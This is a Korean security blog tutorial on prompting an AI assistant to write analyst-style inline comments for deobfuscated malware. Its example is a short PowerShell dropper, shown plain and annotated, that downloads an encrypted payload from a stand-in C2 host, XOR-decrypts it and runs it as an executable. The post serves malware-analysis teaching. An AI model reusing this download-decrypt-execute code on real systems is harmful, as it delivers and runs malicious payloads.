본문 바로가기
일반IT/IT보안

[실습] "이 코드, 누가 주석 좀 달아줘!" 😫 AI 조수에게 상세 주석(Comment) 자동 생성 시키기 ✍️

by gasbugs 2025. 12. 12.

안녕하세요, 효율적인 분석을 추구하는 보안 연구원 여러분! 🕵️‍♀️

지난 시간까지 우리는 온갖 고생을 해가며 난독화된 스크립트를 잘라내고(Chunking), 쓰레기 코드를 치우고(Cleaning), 꼬인 실타래를 풀어서(Deobfuscation) 드디어 '읽을 수 있는 평문 코드'로 만들었습니다. 🎉

 

정말 고생 많으셨습니다! 그런데... 막상 코드를 멍하니 바라보고 있자니 또 다른 한숨이 나옵니다.

 

"하아... 이거 언제 다 읽고 앉아있지? 나중에 다시 볼 때 기억이나 날까?"

 

코드가 평문이 되었다고 해서 바로 이해가 되는 건 아닙니다. 특히 남이 짠, 그것도 악의적인 의도를 가진 코드는 변수명만 봐서는 전체적인 맥락을 알기 어렵죠. 그래서 우리에겐 '주석(Comment)'이 절실히 필요합니다.

하지만 한 줄 한 줄 분석 내용을 주석으로 다는 건 정말 지루하고 시간 걸리는 일입니다. 이 귀찮은 일을 누구에게 맞기면 좋을까요? 네, 바로 우리의 지칠 줄 모르는 AI 조수입니다! 🤖

 

오늘은 AI를 활용해 해독된 스크립트에 전문가급의 상세 주석을 자동으로 다는 실습을 진행해보겠습니다. 이 기술을 익히면 여러분의 분석 속도와 가독성은 비약적으로 상승할 것입니다! 🚀


1. 왜 AI에게 주석을 맡겨야 하나요? 🤔

우리가 주석을 다는 이유는 코드가 '무엇(What)'을 하는지가 아니라 '왜(Why)' 그렇게 동작하는지를 기록하기 위함입니다.

  • ❌ 나쁜 주석 (문법 설명):
  • i++; // i를 1 증가시킨다. (이건 C언어 기초 책이죠. 분석가가 볼 주석이 아닙니다.)
  • ✅ 좋은 주석 (의도 설명):
  • i++; // 다음 바이트의 복호화를 위해 인덱스를 이동한다. (오! 이게 바로 우리가 원하는 정보입니다.)

우리는 AI에게 프롬프트 엔지니어링을 통해 단순한 문법 번역이 아닌, 분석가의 관점에서 '의도'를 설명하는 고품질 주석을 달도록 지시할 수 있습니다.


2. 핵심 전략: 프롬프트 디자인 (The Art of Prompting) 🎨

AI가 아무렇게나 주석을 달게 하면 안 됩니다. 명확한 지침(Guideline)을 줘야 합니다.

[성공적인 주석 생성을 위한 3가지 원칙]

  1. 페르소나(Persona) 부여: 그냥 AI가 아니라 '시니어 악성코드 분석가'라고 역할을 줍니다.
  2. 'Why'에 집중: 코드의 기능보다는 그 코드가 존재하는 목적과 보안적 의미를 설명하라고 지시합니다.
  3. 위협 표시: 의심스럽거나 위험한 행위(파일 생성, 레지스트리 접근, 네트워크 연결 등)는 이모지(🚨, ⚠️)를 사용해 눈에 띄게 표시하라고 요청합니다.

3. [실습] 난독화 해제된 PowerShell 스크립트에 주석 달기 🛠️

자, 여기 지난 시간에 우리가 힘들게 복구해낸 PowerShell 코드 조각이 있습니다. 깔끔해졌지만, 여전히 한눈에 쏙 들어오진 않습니다.

📄 [Input] 해독된 평문 코드 (Clean Code)

PowerShell

# 난독화가 해제된 상태의 코드
$url_c2 = "http://malicious-server.xyz/payload.enc";
$save_path = "$env:TEMP\update.tmp";
$wc = New-Object Net.WebClient;
$wc.DownloadFile($url_c2, $save_path);
$encrypted_bytes = [IO.File]::ReadAllBytes($save_path);
$key_byte = 0x41;
for($i=0; $i -lt $encrypted_bytes.Count; $i++) {
    $encrypted_bytes[$i] = $encrypted_bytes[$i] -bxor $key_byte;
}
[IO.File]::WriteAllBytes("$env:TEMP\run_me.exe", $encrypted_bytes);
Start-Process "$env:TEMP\run_me.exe";

이제 AI(ChatGPT 등)에게 이 코드를 던져주고 멋진 주석을 달아달라고 요청해봅시다.

🗣️ [Prompt] AI에게 명령하기 (템플릿)

[역할] 당신은 사이버 보안 분야에서 10년 이상의 경력을 가진 시니어 악성코드 분석가입니다.

[작업] 아래 제공된 PowerShell 스크립트의 각 라인에 대해 상세한 인라인 주석(Inline Comment, #)을 작성하세요.

[세부 지침]

  1. 목적 중심: 코드가 '무엇'을 하는지 보다 '왜' 이 코드가 필요한지, 공격자의 의도가 무엇인지를 설명하세요.
  2. 보안 관점: 단순한 문법 설명은 지양하고, 보안 분석가가 알아야 할 핵심 정보(IoC, TTPs 등)를 주석에 포함하세요.
  3. 시각적 강조: 위험한 행위(파일 다운로드, 실행, 암호화 해제 등)가 포함된 라인의 주석에는 반드시 경고 이모지(🚨, 💣, ⚠️)를 포함하여 눈에 띄게 하세요.
  4. 언어: 주석은 한국어로 작성하세요.

[스크립트]

(위의 [Input] 코드를 여기에 붙여넣기)


4. [결과] AI가 작성한 명품 주석 확인 ✨

AI가 명령을 수행하면, 아래와 같이 우리가 원했던 '분석가용 주석'이 달린 코드가 탄생합니다.

PowerShell

# =================================================================
# AI 악성코드 분석 결과 요약
# 이 스크립트는 드로퍼(Dropper) 기능을 수행합니다.
# C2 서버에서 암호화된 파일을 다운로드하고, XOR로 복호화한 뒤 실행합니다.
# =================================================================

$url_c2 = "http://malicious-server.xyz/payload.enc"; # 🚨 [네트워크 IoC] 공격자의 C2 서버 주소 및 추가 페이로드 경로 정의
$save_path = "$env:TEMP\update.tmp"; # 임시 폴더에 다운로드할 파일 경로 설정 (탐지 회피를 위해 임시 폴더 사용)

$wc = New-Object Net.WebClient; # 웹 통신을 위한 .NET WebClient 객체 생성
$wc.DownloadFile($url_c2, $save_path); # ⚠️ [행위] C2 서버로부터 파일 다운로드 수행. (디스크에 파일이 생성됨)

$encrypted_bytes = [IO.File]::ReadAllBytes($save_path); # 다운로드한 파일을 바이트 배열로 메모리에 로드
$key_byte = 0x41; # [복호화 키] 단일 바이트 XOR 키(0x41, 'A') 정의. 하드코딩된 키 사용.

# 🔄 복호화 루프 시작
for($i=0; $i -lt $encrypted_bytes.Count; $i++) {
    # 💣 [복호화] 각 바이트를 키 값과 XOR 연산하여 페이로드 복호화 수행
    $encrypted_bytes[$i] = $encrypted_bytes[$i] -bxor $key_byte;
}

[IO.File]::WriteAllBytes("$env:TEMP\run_me.exe", $encrypted_bytes); # ⚠️ [파일 생성] 복호화된 데이터를 실행 파일(.exe)로 디스크에 저장

Start-Process "$env:TEMP\run_me.exe"; # 🚨 [실행] 최종 페이로드 실행. 감염이 시작되는 시점.

🔍 무엇이 달라졌나요?

  1. IoC 식별: $url_c2 옆에 주석으로 이것이 침해 지표(IoC)임을 명시했습니다.
  2. 위험 행위 강조: 다운로드(⚠️), 복호화(💣), 실행(🚨) 같은 핵심 행위에 이모지가 붙어 시선이 집중됩니다.
  3. 의도 파악: 단순히 "XOR 한다"가 아니라 "하드코딩된 키를 사용해 페이로드를 복호화한다"는 분석적 내용이 담겼습니다.

이제 이 코드를 동료에게 보여주거나 나중에 다시 열어봐도, 3초 만에 어떤 악성 행위를 하는지 파악할 수 있겠죠? 👍


5. 꿀팁: "주석이 너무 많아요/적어요!" 🍯

AI의 출력 결과가 마음에 들지 않으면 프롬프트를 조금만 수정하면 됩니다.

  • 주석이 너무 장황할 때:
    • 프롬프트 추가: "주석은 코드 라인당 50자 이내로 간결하게 작성하세요." 또는 "핵심적인 악성 행위 라인에만 주석을 다세요."
  • 주석이 너무 부실할 때:
    • 프롬프트 추가: "초급 분석가에게 설명한다고 생각하고 최대한 상세하고 친절하게 설명하세요."

🎉 마치며

오늘 우리는 AI를 활용해 '죽어있는 코드''분석가의 통찰력'을 불어넣는 작업을 했습니다.

주석을 다는 것은 귀찮은 일이 아니라, 나의 분석 결과를 기록하고 공유하는 가장 중요한 과정입니다. 이제 그 귀찮은 타자 작업은 AI에게 맡기고, 여러분은 더 창의적이고 깊이 있는 분석에 집중하세요!

다음 시간에는 이렇게 잘 정리된 코드와 주석을 바탕으로, 최종적으로 "악성코드 분석 보고서"를 자동으로 생성하는 끝판왕 실습을 진행하겠습니다. 기대해 주세요! 👋